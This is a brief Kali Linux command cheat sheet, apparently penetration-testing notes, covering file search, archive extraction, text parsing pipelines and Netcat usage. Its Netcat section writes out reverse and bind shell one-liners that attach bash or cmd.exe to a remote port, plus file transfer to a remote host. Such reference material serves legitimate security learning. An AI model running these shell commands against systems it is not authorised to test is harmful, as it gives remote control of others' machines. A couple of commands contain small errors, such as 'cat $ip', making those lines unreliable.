😅Kali Linux 101

Kali Linux is a Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security

1. Set value

export ip=xx.xx.xx.xx
cat $ip

1. Locate/Find File name

locate filename
find / -name namefile\* 2>/dev/null

1. Unzip File

gunzip access.log.gz  //gz file
unzip access.zip    //zip file
tar -xzvf file.tar.gz  //gz or tar file

1. History

history | grep wordshere

1. String Manipulation

Get the start or end of a file
    head index.html
    tail index.html
Extract all the lines that contain a string
    grep "href=" index.html
Cut a string by a delimiter, filter results then sort
    grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u
Using Grep and regular expressions and output to a file
    cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt
Use a bash loop to find the IP address behind each host
    for url in $(cat list.txt); do host $url; done
Collect all the IP Addresses from a log file and sort by frequency
    cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
    

1. Netcat

Connect to a POP3 mail server
    nc -nv $ip 110
Listen on TCP/UDP port
    nc -nlvp 4444
Connect to a netcat port
    nc -nv $ip 4444
Send a file using netcat
    nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe
Receive a file using netcat
    nc -nlvp 4444 > incoming.exe
Create a reverse shell with Ncat using cmd.exe on Windows
    nc.exe -nlvp 4444 -e cmd.exe
    nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe
Create a reverse shell with Ncat using bash on Linux
    nc -nv $ip 4444 -e /bin/bash
Netcat for Banner Grabbing:
    echo "" | nc -nv -w1 <IP Address> <Ports>